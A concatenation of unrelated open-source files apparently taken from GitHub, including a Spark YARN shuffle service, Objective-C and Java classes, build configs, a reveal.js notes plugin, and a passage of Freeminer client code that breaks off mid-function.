* specified in the Yarn configuration. This is so that both the clients and the server agree on
* the same port to communicate on.
*
* The service also optionally supports authentication. This ensures that executors from one
* application cannot read the shuffle files written by those from another. This feature can be
* enabled by setting `spark.authenticate` in the Yarn configuration before starting the NM.
* Note that the Spark application must also set `spark.authenticate` manually and, unlike in
* the case of the service port, will not inherit this setting from the Yarn configuration. This
* is because an application running on the same Yarn cluster may choose to not use the external
* shuffle service, in which case its setting of `spark.authenticate` should be independent of
* the service's.
*/
public class YarnShuffleService extends AuxiliaryService {
private static final Logger logger = LoggerFactory.getLogger(YarnShuffleService.class);
// Port on which the shuffle server listens for fetch requests
private static final String SPARK_SHUFFLE_SERVICE_PORT_KEY = "spark.shuffle.service.port";
private static final int DEFAULT_SPARK_SHUFFLE_SERVICE_PORT = 7337;
// Whether the shuffle server should authenticate fetch requests
private static final String SPARK_AUTHENTICATE_KEY = "spark.authenticate";
private static final boolean DEFAULT_SPARK_AUTHENTICATE = false;
private static final String RECOVERY_FILE_NAME = "registeredExecutors.ldb";
private static final String SECRETS_RECOVERY_FILE_NAME = "sparkShuffleRecovery.ldb";
// Whether failure during service initialization should stop the NM.
@VisibleForTesting
static final String STOP_ON_FAILURE_KEY = "spark.yarn.shuffle.stopOnFailure";
private static final boolean DEFAULT_STOP_ON_FAILURE = false;
// just for testing when you want to find an open port
@VisibleForTesting
static int boundPort = -1;
private static final ObjectMapper mapper = new ObjectMapper();
private static final String APP_CREDS_KEY_PREFIX = "AppCreds";
private static final LevelDBProvider.StoreVersion CURRENT_VERSION = new LevelDBProvider
.StoreVersion(1, 0);
// just for integration tests that want to look at this file -- in general not sensible as
// a static
@VisibleForTesting
static YarnShuffleService instance;
// An entity that manages the shuffle secret per application
// This is used only if authentication is enabled
@VisibleForTesting
ShuffleSecretManager secretManager;
// The actual server that serves shuffle files
private TransportServer shuffleServer = null;
private Configuration _conf = null;
// The recovery path used to shuffle service recovery
@VisibleForTesting
Path _recoveryPath = null;
// Handles registering executors and opening shuffle blocks
@VisibleForTesting
ExternalShuffleBlockHandler blockHandler;
// Where to store & reload executor info for recovering state after an NM restart
@VisibleForTesting
File registeredExecutorFile;
// Where to store & reload application secrets for recovering state after an NM restart
@VisibleForTesting
File secretsFile;
private DB db;
public YarnShuffleService() {
super("spark_shuffle");
logger.info("Initializing YARN shuffle service for Spark");
instance = this;
}
/**
* Return whether authentication is enabled as specified by the configuration.
* If so, fetch requests will fail unless the appropriate authentication secret
* for the application is provided.
*/
private boolean isAuthenticationEnabled() {
return secretManager != null;
}
/**
* Start the shuffle server with the given configuration.
*/
@Override
protected void serviceInit(Configuration conf) throws Exception {
_conf = conf;
boolean stopOnFailure = conf.getBoolean(STOP_ON_FAILURE_KEY, DEFAULT_STOP_ON_FAILURE);
try {
// In case this NM was killed while there were running spark applications, we need to restore
// lost state for the existing executors. We look for an existing file in the NM's local dirs.
// If we don't find one, then we choose a file to use to save the state next time. Even if
// an application was stopped while the NM was down, we expect yarn to call stopApplication()
// when it comes back
registeredExecutorFile = initRecoveryDb(RECOVERY_FILE_NAME);
TransportConf transportConf = new TransportConf("shuffle", new HadoopConfigProvider(conf));
blockHandler = new ExternalShuffleBlockHandler(transportConf, registeredExecutorFile);
// If authentication is enabled, set up the shuffle server to use a
// special RPC handler that filters out unauthenticated fetch requests
List<TransportServerBootstrap> bootstraps = Lists.newArrayList();
boolean authEnabled = conf.getBoolean(SPARK_AUTHENTICATE_KEY, DEFAULT_SPARK_AUTHENTICATE);
if (authEnabled) {
createSecretManager();
bootstraps.add(new SaslServerBootstrap(transportConf, secretManager));
}
int port = conf.getInt(
SPARK_SHUFFLE_SERVICE_PORT_KEY, DEFAULT_SPARK_SHUFFLE_SERVICE_PORT);
TransportContext transportContext = new TransportContext(transportConf, blockHandler);
shuffleServer = transportContext.createServer(port, bootstraps);
// the port should normally be fixed, but for tests its useful to find an open port
port = shuffleServer.getPort();
boundPort = port;
String authEnabledString = authEnabled ? "enabled" : "not enabled";
logger.info("Started YARN shuffle service for Spark on port {}. " +
"Authentication is {}. Registered executor file is {}", port, authEnabledString,
registeredExecutorFile);
} catch (Exception e) {
if (stopOnFailure) {
throw e;
} else {
noteFailure(e);
}
}
}
private void createSecretManager() throws IOException {
secretManager = new ShuffleSecretManager();
secretsFile = initRecoveryDb(SECRETS_RECOVERY_FILE_NAME);
// Make sure this is protected in case its not in the NM recovery dir
FileSystem fs = FileSystem.getLocal(_conf);
fs.mkdirs(new Path(secretsFile.getPath()), new FsPermission((short)0700));
db = LevelDBProvider.initLevelDB(secretsFile, CURRENT_VERSION, mapper);
logger.info("Recovery location is: " + secretsFile.getPath());
if (db != null) {
logger.info("Going to reload spark shuffle data");
DBIterator itr = db.iterator();
itr.seek(APP_CREDS_KEY_PREFIX.getBytes(StandardCharsets.UTF_8));
while (itr.hasNext()) {
Map.Entry<byte[], byte[]> e = itr.next();
String key = new String(e.getKey(), StandardCharsets.UTF_8);
if (!key.startsWith(APP_CREDS_KEY_PREFIX)) {
break;
}
String id = parseDbAppKey(key);
ByteBuffer secret = mapper.readValue(e.getValue(), ByteBuffer.class);
logger.info("Reloading tokens for app: " + id);
secretManager.registerApp(id, secret);
}
}
}
private static String parseDbAppKey(String s) throws IOException {
if (!s.startsWith(APP_CREDS_KEY_PREFIX)) {
throw new IllegalArgumentException("expected a string starting with " + APP_CREDS_KEY_PREFIX);
}
String json = s.substring(APP_CREDS_KEY_PREFIX.length() + 1);
AppId parsed = mapper.readValue(json, AppId.class);
return parsed.appId;
}
private static byte[] dbAppKey(AppId appExecId) throws IOException {
// we stick a common prefix on all the keys so we can find them in the DB
String appExecJson = mapper.writeValueAsString(appExecId);
String key = (APP_CREDS_KEY_PREFIX + ";" + appExecJson);
return key.getBytes(StandardCharsets.UTF_8);
}
@Override
public void initializeApplication(ApplicationInitializationContext context) {
String appId = context.getApplicationId().toString();
try {
ByteBuffer shuffleSecret = context.getApplicationDataForService();
logger.info("Initializing application {}", appId);
if (isAuthenticationEnabled()) {
AppId fullId = new AppId(appId);
if (db != null) {
byte[] key = dbAppKey(fullId);
byte[] value = mapper.writeValueAsString(shuffleSecret).getBytes(StandardCharsets.UTF_8);
db.put(key, value);
}
secretManager.registerApp(appId, shuffleSecret);
}
} catch (Exception e) {
logger.error("Exception when initializing application {}", appId, e);
}
}
@Override
public void stopApplication(ApplicationTerminationContext context) {
String appId = context.getApplicationId().toString();
try {
logger.info("Stopping application {}", appId);
if (isAuthenticationEnabled()) {
AppId fullId = new AppId(appId);
if (db != null) {
try {
db.delete(dbAppKey(fullId));
} catch (IOException e) {
logger.error("Error deleting {} from executor state db", appId, e);
}
}
secretManager.unregisterApp(appId);
}
blockHandler.applicationRemoved(appId, false /* clean up local dirs */);
} catch (Exception e) {
logger.error("Exception when stopping application {}", appId, e);
}
}
@Override
public void initializeContainer(ContainerInitializationContext context) {
ContainerId containerId = context.getContainerId();
logger.info("Initializing container {}", containerId);
}
@Override
public void stopContainer(ContainerTerminationContext context) {
ContainerId containerId = context.getContainerId();
logger.info("Stopping container {}", containerId);
}
/**
* Close the shuffle server to clean up any associated state.
*/
@Override
protected void serviceStop() {
try {
if (shuffleServer != null) {
shuffleServer.close();
}
if (blockHandler != null) {
blockHandler.close();
}
if (db != null) {
db.close();
}
} catch (Exception e) {
logger.error("Exception when stopping service", e);
}
}
// Not currently used
@Override
public ByteBuffer getMetaData() {
return ByteBuffer.allocate(0);
}
/**
* Set the recovery path for shuffle service recovery when NM is restarted. The method will be
* overrode and called when Hadoop version is 2.5+ and NM recovery is enabled, otherwise we
* have to manually call this to set our own recovery path.
*/
public void setRecoveryPath(Path recoveryPath) {
_recoveryPath = recoveryPath;
}
/**
* Get the path specific to this auxiliary service to use for recovery.
*/
protected Path getRecoveryPath(String fileName) {
return _recoveryPath;
}
/**
* Figure out the recovery path and handle moving the DB if YARN NM recovery gets enabled
* when it previously was not. If YARN NM recovery is enabled it uses that path, otherwise
* it will uses a YARN local dir.
*/
protected File initRecoveryDb(String dbFileName) {
if (_recoveryPath != null) {
File recoveryFile = new File(_recoveryPath.toUri().getPath(), dbFileName);
if (recoveryFile.exists()) {
return recoveryFile;
}
}
// db doesn't exist in recovery path go check local dirs for it
String[] localDirs = _conf.getTrimmedStrings("yarn.nodemanager.local-dirs");
for (String dir : localDirs) {
File f = new File(new Path(dir).toUri().getPath(), dbFileName);
if (f.exists()) {
if (_recoveryPath == null) {
// If NM recovery is not enabled, we should specify the recovery path using NM local
// dirs, which is compatible with the old code.
_recoveryPath = new Path(dir);
return f;
} else {
// If the recovery path is set then either NM recovery is enabled or another recovery
// DB has been initialized. If NM recovery is enabled and had set the recovery path
// make sure to move all DBs to the recovery path from the old NM local dirs.
// If another DB was initialized first just make sure all the DBs are in the same
// location.
File newLoc = new File(_recoveryPath.toUri().getPath(), dbFileName);
if (!newLoc.equals(f)) {
try {
Files.move(f.toPath(), newLoc.toPath());
} catch (Exception e) {
// Fail to move recovery file to new path, just continue on with new DB location
logger.error("Failed to move recovery file {} to the path {}",
dbFileName, _recoveryPath.toString(), e);
}
}
return newLoc;
}
}
}
if (_recoveryPath == null) {
_recoveryPath = new Path(localDirs[0]);
}
return new File(_recoveryPath.toUri().getPath(), dbFileName);
}
/**
* Simply encodes an application ID.
*/
public static class AppId {
public final String appId;
@JsonCreator
public AppId(@JsonProperty("appId") String appId) {
this.appId = appId;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
AppId appExecId = (AppId) o;
return Objects.equal(appId, appExecId.appId);
}
@Override
public int hashCode() {
return Objects.hashCode(appId);
}
@Override
public String toString() {
return Objects.toStringHelper(this)
.add("appId", appId)
.toString();
}
}
}
|
{
"pile_set_name": "Github"
}
|
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//
#import <objc/NSObject.h>
@class NSMutableArray;
@interface PKRoundedPath : NSObject
{
struct CGPath *_CGPath;
NSMutableArray *_points;
}
+ (id)pathWithRoundedRect:(struct CGRect)arg1 cornerRadius:(double)arg2;
+ (id)pathWithEllipseInRect:(struct CGRect)arg1;
+ (id)pathWithRect:(struct CGRect)arg1;
- (void).cxx_destruct;
@property(retain, nonatomic) NSMutableArray *points; // @synthesize points=_points;
@property(retain) struct CGPath *CGPath; // @synthesize CGPath=_CGPath;
- (void)addContinuousCornerToPath:(struct CGPath *)arg1 trueCorner:(struct CGPoint)arg2 cornerRadius:(struct CGSize)arg3 corners:(unsigned long long)arg4 portion:(unsigned long long)arg5 clockwise:(BOOL)arg6 fullRadius:(BOOL)arg7;
- (id)initWithRect:(struct CGRect)arg1 withRoundedCorners:(int)arg2 cornerRadii:(id)arg3 smoothPillShapes:(BOOL)arg4;
- (struct CGRect)boundingRect;
- (void)closeSubpath;
- (void)addLineToPointX:(double)arg1 y:(double)arg2;
- (void)dealloc;
- (id)initWithPoints:(struct CGPoint *)arg1 count:(long long)arg2;
@end
|
{
"pile_set_name": "Github"
}
|
package com.mcxiaoke.next.ui.widget;
import android.graphics.drawable.Drawable;
import android.view.MenuItem;
/**
* User: mcxiaoke
* Date: 13-12-24
* Time: 上午10:32
* <p/>
* 分享目标
*/
public class ShareTarget implements Comparable<ShareTarget> {
public int id; // id reserved
public int weight;// weight for sort
public String packageName; // share intent package name
public String className; // share intent class name
public CharSequence title; // menu item title
public Drawable icon;// menu item icon
public MenuItem.OnMenuItemClickListener listener; //menu item click listener
public ShareTarget(CharSequence title, Drawable icon,
final MenuItem.OnMenuItemClickListener listener) {
this(title, icon, 0, listener);
}
public ShareTarget(CharSequence title, Drawable icon, int id,
final MenuItem.OnMenuItemClickListener listener) {
this.title = title;
this.icon = icon;
this.id = id;
this.listener = listener;
}
@Override
public int compareTo(ShareTarget another) {
return another.weight - weight;
}
@Override
public String toString() {
return "ShareTarget{" +
"id=" + id +
", weight=" + weight +
", packageName='" + packageName + '\'' +
", className='" + className + '\'' +
", title=" + title +
", icon=" + icon +
", listener=" + listener +
'}';
}
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2019 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#import "GeneratedPluginRegistrant.h"
|
{
"pile_set_name": "Github"
}
|
config BR2_PACKAGE_CRACKLIB
bool "cracklib"
help
CrackLib tests passwords to determine whether they match
certain security-oriented characteristics, with the purpose
of stopping users from choosing passwords that are easy to
guess. CrackLib performs several tests on passwords: it
tries to generate words from a username and gecos entry and
checks those words against the password; it checks for
simplistic patterns in passwords; and it checks for the
password in a dictionary.
https://github.com/cracklib/cracklib
if BR2_PACKAGE_CRACKLIB
config BR2_PACKAGE_CRACKLIB_TOOLS
bool "install tools"
help
Install cracklib command line tools for creating dicts.
config BR2_PACKAGE_CRACKLIB_FULL_DICT
bool "full dict"
help
Install the full cracklib dict (requires about 8Mb extra
target space).
endif
|
{
"pile_set_name": "Github"
}
|
/* 7zIn.h */
#ifndef __7Z_IN_H
#define __7Z_IN_H
#include "7zHeader.h"
#include "7zItem.h"
#include "7zAlloc.h"
typedef struct _CInArchiveInfo
{
CFileSize StartPositionAfterHeader;
CFileSize DataStartPosition;
}CInArchiveInfo;
typedef struct _CArchiveDatabaseEx
{
CArchiveDatabase Database;
CInArchiveInfo ArchiveInfo;
UInt32 *FolderStartPackStreamIndex;
CFileSize *PackStreamStartPositions;
UInt32 *FolderStartFileIndex;
UInt32 *FileIndexToFolderIndexMap;
}CArchiveDatabaseEx;
void SzArDbExInit(CArchiveDatabaseEx *db);
void SzArDbExFree(CArchiveDatabaseEx *db, void (*freeFunc)(void *));
CFileSize SzArDbGetFolderStreamPos(CArchiveDatabaseEx *db, UInt32 folderIndex, UInt32 indexInFolder);
CFileSize SzArDbGetFolderFullPackSize(CArchiveDatabaseEx *db, UInt32 folderIndex);
typedef struct _ISzInStream
{
#ifdef _LZMA_IN_CB
SZ_RESULT (*Read)(
void *object, /* pointer to ISzInStream itself */
void **buffer, /* out: pointer to buffer with data */
size_t maxRequiredSize, /* max required size to read */
size_t *processedSize); /* real processed size.
processedSize can be less than maxRequiredSize.
If processedSize == 0, then there are no more
bytes in stream. */
#else
SZ_RESULT (*Read)(void *object, void *buffer, size_t size, size_t *processedSize);
#endif
SZ_RESULT (*Seek)(void *object, CFileSize pos);
} ISzInStream;
int SzArchiveOpen(
ISzInStream *inStream,
CArchiveDatabaseEx *db,
ISzAlloc *allocMain,
ISzAlloc *allocTemp);
#endif
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (C) 2015 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.android.systemui.recents.events.component;
import android.content.Context;
import com.android.systemui.recents.events.EventBus;
/**
* This is sent when the visibility of the RecentsActivity for the current user changes. Handlers
* of this event should not alter the UI, as the activity may still be visible.
*/
public class RecentsVisibilityChangedEvent extends EventBus.Event {
public final Context applicationContext;
public final boolean visible;
public RecentsVisibilityChangedEvent(Context context, boolean visible) {
this.applicationContext = context.getApplicationContext();
this.visible = visible;
}
}
|
{
"pile_set_name": "Github"
}
|
(function() {
// don't emit events from inside the previews themselves
if ( window.location.search.match( /receiver/gi ) ) { return; }
var socket = io.connect(window.location.origin);
var socketId = Math.random().toString().slice(2);
console.log('View slide notes at ' + window.location.origin + '/notes/' + socketId);
window.open(window.location.origin + '/notes/' + socketId, 'notes-' + socketId);
// Fires when a fragment is shown
Reveal.addEventListener( 'fragmentshown', function( event ) {
var fragmentData = {
fragment : 'next',
socketId : socketId
};
socket.emit('fragmentchanged', fragmentData);
} );
// Fires when a fragment is hidden
Reveal.addEventListener( 'fragmenthidden', function( event ) {
var fragmentData = {
fragment : 'previous',
socketId : socketId
};
socket.emit('fragmentchanged', fragmentData);
} );
// Fires when slide is changed
Reveal.addEventListener( 'slidechanged', function( event ) {
var nextindexh;
var nextindexv;
var slideElement = event.currentSlide;
if (slideElement.nextElementSibling && slideElement.parentNode.nodeName == 'SECTION') {
nextindexh = event.indexh;
nextindexv = event.indexv + 1;
} else {
nextindexh = event.indexh + 1;
nextindexv = 0;
}
var notes = slideElement.querySelector('aside.notes');
var slideData = {
notes : notes ? notes.innerHTML : '',
indexh : event.indexh,
indexv : event.indexv,
nextindexh : nextindexh,
nextindexv : nextindexv,
socketId : socketId,
markdown : notes ? typeof notes.getAttribute('data-markdown') === 'string' : false
};
socket.emit('slidechanged', slideData);
} );
}());
|
{
"pile_set_name": "Github"
}
|
setTranslatedTitle("advancements.stage3.propene.title")
setIcon("forge:bucketfilled", 0, {FluidName: "propene", Amount: 1000})
setTranslatedDescription("advancements.stage3.propene.description")
addParent("triumph:stage3/steam")
setRequiresParents()
setFrameType("Goal")
setUncompletedIconColor(8947848)
setCompletedIconColor(6570404)
setUncompletedTitleColor(8947848)
setCompletedTitleColor(6570404)
//Criteria
criteria = addCriteria("hasRock", "minecraft:inventory_changed")
criteria.addItem("forge:bucketfilled", 0, {FluidName: "propene", Amount: 1000})
//Rewards
setRewardExperience(8)
visibleIf("triumph:stage3/root")
|
{
"pile_set_name": "Github"
}
|
fileFormatVersion: 2
guid: 0f04b8b1f145e46299741eec77429560
timeCreated: 1498706735
licenseType: Pro
NativeFormatImporter:
mainObjectFileID: 11400000
userData:
assetBundleName:
assetBundleVariant:
|
{
"pile_set_name": "Github"
}
|
# avoid-leaking-state-in-ember-objects
:white_check_mark: The `"extends": "plugin:ember/recommended"` property in a configuration file enables this rule.
Don't use arrays and objects as default properties. More info here: <https://dockyard.com/blog/2015/09/18/ember-best-practices-avoid-leaking-state-into-factories>
## Examples
Examples of **incorrect** code for this rule:
```javascript
export default Foo.extend({
items: [],
actions: {
addItem(item) {
this.items.pushObject(item);
}
}
});
```
Examples of **correct** code for this rule:
```javascript
export default Foo.extend({
init(...args) {
this._super(...args);
this.items = this.items || [];
},
actions: {
addItem(item) {
this.items.pushObject(item);
}
}
});
```
## Configuration
Example configuration:
```js
const {
DEFAULT_IGNORED_PROPERTIES
} = require('eslint-plugin-ember/lib/rules/avoid-leaking-state-in-ember-objects');
module.exports = {
rules: {
'ember/avoid-leaking-state-in-ember-objects': [
1,
[...DEFAULT_IGNORED_PROPERTIES, 'array', 'of', 'ignored', 'properties']
]
}
};
```
|
{
"pile_set_name": "Github"
}
|
prototypes ensureNamespace: #relations &delegate: True.
relations define: #Relation &parents: {Cloneable}.
"Relations are objects that map objects to an arbitrary number of other
objects, and include a protocol of relational algebra."
r@(Relation traits) applyTo: x
[overrideThis].
r@(Relation traits) inverseApplyTo: x
[overrideThis].
r@(Relation traits) applyToAll: x
[overrideThis].
r@(Relation traits) inverseApplyToAll: x
[overrideThis].
relations define: #Top &builder: [Relation clone].
relations define: #Bottom &builder: [Relation clone].
relations define: #IdentityRelation &parents: {Relation}.
ir@(IdentityRelation traits) applyTo: x
"Identities return the element input."
[{x}].
ir@(IdentityRelation traits) inverseApplyTo: x
"Identities return the element input."
[{x}].
ir@(IdentityRelation traits) applyToAll: objs
[objs].
ir@(IdentityRelation traits) inverseApplyToAll: objs
[objs].
ir@(IdentityRelation traits) invert
"The inverse of an identity is that identity."
[ir].
ir@(IdentityRelation traits) transitiveClosure
"The transitive closure of an identity is that identity."
[ir].
ir@(IdentityRelation traits) reflexiveClosure
"The reflexive closure of an identity is that identity."
[ir].
relations define: #UnaryArgumentRelation &parents: {Relation}
&slots: {#relation}.
uar@(UnaryArgumentRelation traits) newFor: rel
[uar cloneSettingSlots: #{#relation} to: {rel}].
relations define: #InvertedRelation &parents: {UnaryArgumentRelation}.
"This represents the result of an inversion of a relation."
r@(Relation traits) invert
[
].
ir@(InvertedRelation traits) applyTo: obj
[
ir relation inverseApplyTo: obj
].
ir@(InvertedRelation traits) inverseApplyTo: obj
[
ir relation applyTo: obj
].
ir@(InvertedRelation traits) invert
"The inverse of an inverse is the original relation."
[
ir relation
].
relations define: #TransitiveClosureRelation &parents: {UnaryArgumentRelation}.
"This represents the transitive closure (applying * times to oneself) of a
relation."
tc@(TransitiveClosureRelation traits) applyTo: obj
[| nextStep |
nextStep := (tc relation applyTo: obj).
temp union: (tc applyToAll: nextStep)
].
tc@(TransitiveClosureRelation traits) transitiveClosure
[
tc
].
relations define: #MappingRelation &parents: {Relation}
&slots: {#mapping -> EmptyMapping}.
mr@(MappingRelation traits) applyTo: obj
[
(mr mapping at: obj) as: SingleSet
].
mr@(MappingRelation traits) inverseApplyTo: obj
[
[| :result |
mr mapping doWithIndex: [| :each :index |
each = obj ifTrue: [result add: index]]
] writingAs: Set
].
relations define: #AssociationTable &parents: {Relation}
&slots: {#associations -> Set new}.
"A Set of Associations with no organizational restrictions."
at@(AssociationTable traits) applyTo: obj
[
[| :result |
at associations
do: [| :each | each key = obj ifTrue: [result add: each value]].
] writingAs: Set
].
at@(AssociationTable traits) inverseApplyTo: obj
[
[| :result |
at associations
do: [| :each | each value = obj ifTrue: [result nextPut: each key]].
] writingAs: Set
].
relations define: #NAryRelation &parents: {Relation}
&slots: {#elements -> {}}.
r@(NAryRelation traits) newFor: rels
[r cloneSettingSlots: #{#elements} to: {rels}].
relations define: #RelationIntersection &parents: {NAryRelation}.
r1@(Relation traits) /\ r2@(Relation traits)
[RelationIntersection newFor: {r1. r2}].
r@(RelationIntersection traits) applyTo: obj
[
r elements gather: [| :a :b | (a applyTo: obj) /\ (b applyTo: obj)] &initial: {}
].
r@(RelationIntersection traits) inverseApplyTo: obj
[
r elements gather: [| :a :b | (a inverseApplyTo: obj) /\ (b inverseApplyTo: obj)] &initial: {}
].
r@(RelationIntersection traits) applyToAll: obj
[
r elements gather: [| :a :b | (a applyToAll: obj) /\ (b applyToAll: obj)] &initial: {}
].
r@(RelationIntersection traits) inverseApplyToAll: obj
[
r elements gather: [| :a :b | (a inverseApplyToAll: obj) /\ (b inverseApplyToAll: obj)] &initial: {}
].
relations define: #RelationUnion &parents: {NAryRelation}.
r1@(Relation traits) \/ r2@(Relation traits)
[RelationUnion newFor: {r1. r2}].
r@(RelationUnion traits) applyTo: obj
[
r elements gather: [| :a :b | (a applyTo: obj) \/ (b applyTo: obj)] &initial: {}
].
r@(RelationUnion traits) inverseApplyTo: obj
[
r elements gather: [| :a :b | (a inverseApplyTo: obj) \/ (b inverseApplyTo: obj)] &initial: {}
].
r@(RelationUnion traits) applyToAll: obj
[
r elements gather: [| :a :b | (a applyToAll: obj) \/ (b applyToAll: obj)] &initial: {}
].
r@(RelationUnion traits) inverseApplyToAll: obj
[
r elements gather: [| :a :b | (a inverseApplyToAll: obj) \/ (b inverseApplyToAll: obj)] &initial: {}
].
|
{
"pile_set_name": "Github"
}
|
////////////////////////////////////////////////////////////////////////////////
//
// Licensed to the Apache Software Foundation (ASF) under one or more
// contributor license agreements. See the NOTICE file distributed with
// this work for additional information regarding copyright ownership.
// The ASF licenses this file to You under the Apache License, Version 2.0
// (the "License"); you may not use this file except in compliance with
// the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
////////////////////////////////////////////////////////////////////////////////
package org.apache.royale.jewel.supportClasses.table
{
COMPILE::JS
{
import org.apache.royale.core.WrappedHTMLElement;
import org.apache.royale.html.util.addElementToWrapper;
}
import org.apache.royale.jewel.Group;
/**
* The TableCell class defines a table data cell in the Table component. This element
* may have nearly any type of Royale component as children.
*
* @toplevel
* @langversion 3.0
* @playerversion Flash 10.2
* @playerversion AIR 2.6
* @productversion Royale 0.9.4
*/
public class TableCell extends Group
{
/**
* constructor.
*
* @langversion 3.0
* @playerversion Flash 10.2
* @playerversion AIR 2.6
* @productversion Royale 0.9.4
*/
public function TableCell()
{
super();
typeNames = "jewel tablecell";
}
private var _expandColumns:Number = 1;
/**
* The columns this cell will expand to occupy
* notice that you must not define the ocuppied cells
*
* @langversion 3.0
* @playerversion Flash 10.2
* @playerversion AIR 2.6
* @productversion Royale 0.9.4
*/
public function get expandColumns():Number
{
return _expandColumns;
}
public function set expandColumns(value:Number):void
{
if(_expandColumns != value)
{
_expandColumns = value;
COMPILE::JS
{
element.setAttribute('colspan', _expandColumns);
}
}
}
private var _expandRows:Number = 1;
/**
* The rows this cell will expand to occupy
* notice that you must not define the ocuppied cells
*
* @langversion 3.0
* @playerversion Flash 10.2
* @playerversion AIR 2.6
* @productversion Royale 0.9.4
*/
public function get expandRows():Number
{
return _expandRows;
}
public function set expandRows(value:Number):void
{
if(_expandRows != value)
{
_expandRows = value;
COMPILE::JS
{
element.setAttribute('rowspan', _expandRows);
}
}
}
public static const LEFT:String = "left";
public static const CENTER:String = "center";
public static const RIGHT:String = "right";
private var _align:String = "left";
/**
* The align this cell will apply to its content
* can be "left", "center" or "right". defaults to "left"
*
* @langversion 3.0
* @playerversion Flash 10.2
* @playerversion AIR 2.6
* @productversion Royale 0.9.6
*/
public function get align():String
{
return _align;
}
public function set align(value:String):void
{
if(_align != value)
{
_align = value;
COMPILE::JS
{
element.setAttribute('align', _align);
}
}
}
/**
* @royaleignorecoercion org.apache.royale.core.WrappedHTMLElement
*/
COMPILE::JS
override protected function createElement():WrappedHTMLElement
{
return addElementToWrapper(this,'td');
}
}
}
|
{
"pile_set_name": "Github"
}
|
//
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#import "NSObject.h"
@interface SRIOConsumer : NSObject
{
CDUnknownBlockType _scanner;
CDUnknownBlockType _handler;
unsigned long long _bytesNeeded;
_Bool _readToCurrentFrame;
_Bool _unmaskBytes;
}
@property(readonly, nonatomic) _Bool unmaskBytes; // @synthesize unmaskBytes=_unmaskBytes;
@property(readonly, nonatomic) _Bool readToCurrentFrame; // @synthesize readToCurrentFrame=_readToCurrentFrame;
@property(readonly, copy, nonatomic) CDUnknownBlockType handler; // @synthesize handler=_handler;
@property(readonly, copy, nonatomic) CDUnknownBlockType consumer; // @synthesize consumer=_scanner;
@property(nonatomic) unsigned long long bytesNeeded; // @synthesize bytesNeeded=_bytesNeeded;
- (void).cxx_destruct;
- (void)resetWithScanner:(CDUnknownBlockType)arg1 handler:(CDUnknownBlockType)arg2 bytesNeeded:(unsigned long long)arg3 readToCurrentFrame:(_Bool)arg4 unmaskBytes:(_Bool)arg5;
@end
|
{
"pile_set_name": "Github"
}
|
/*
client.cpp
Copyright (C) 2013 celeron55, Perttu Ahola <celeron55@gmail.com>
*/
/*
This file is part of Freeminer.
Freeminer is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Freeminer is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Freeminer. If not, see <http://www.gnu.org/licenses/>.
*/
#include <iostream>
#include <algorithm>
#include <sstream>
#include <cmath>
#include <IFileSystem.h>
#include "threading/mutex_auto_lock.h"
#include "util/auth.h"
#include "util/directiontables.h"
#include "util/pointedthing.h"
#include "util/serialize.h"
#include "util/string.h"
#include "util/strfnd.h"
#include "util/srp.h"
#include "client.h"
#include "network/clientopcodes.h"
#include "network/networkprotocol.h"
#include "filesys.h"
#include "porting.h"
#include "mapblock_mesh.h"
#include "mapblock.h"
#include "minimap.h"
#include "settings.h"
#include "profiler.h"
#include "gettext.h"
#include "log_types.h"
#include "nodemetadata.h"
#include "nodedef.h"
#include "itemdef.h"
#include "shader.h"
#include "util/base64.h"
#include "clientmap.h"
#include "clientmedia.h"
#include "sound.h"
#include "IMeshCache.h"
#include "serialization.h"
#include "config.h"
#include "version.h"
#include "drawscene.h"
#include "database-sqlite3.h"
//#include "serialization.h"
#include "guiscalingfilter.h"
#include "database.h"
#include "server.h"
#include "emerge.h"
#if !MINETEST_PROTO
#include "network/fm_clientpacketsender.cpp"
#endif
#include "chat.h"
extern gui::IGUIEnvironment* guienv;
#include "msgpack_fix.h"
/*
MeshUpdateQueue
*/
MeshUpdateQueue::MeshUpdateQueue()
{
}
MeshUpdateQueue::~MeshUpdateQueue()
{
}
unsigned int MeshUpdateQueue::addBlock(v3POS p, std::shared_ptr<MeshMakeData> data, bool urgent)
{
DSTACK(FUNCTION_NAME);
auto lock = m_queue.lock_unique_rec();
unsigned int range = urgent ? 0 : 1 + data->range + data->step * 10;
if (m_process.count(p)) {
if (!urgent)
range += 3;
} else if (m_ranges.count(p)) {
auto range_old = m_ranges[p];
auto & rmap = m_queue.get(range_old);
if (range_old > 0 && range != range_old) {
m_ranges.erase(p);
rmap.erase(p);
if (rmap.empty())
m_queue.erase(range_old);
} else {
rmap[p] = data;
return m_ranges.size();
}
}
auto & rmap = m_queue.get(range);
rmap[p] = data;
m_ranges[p] = range;
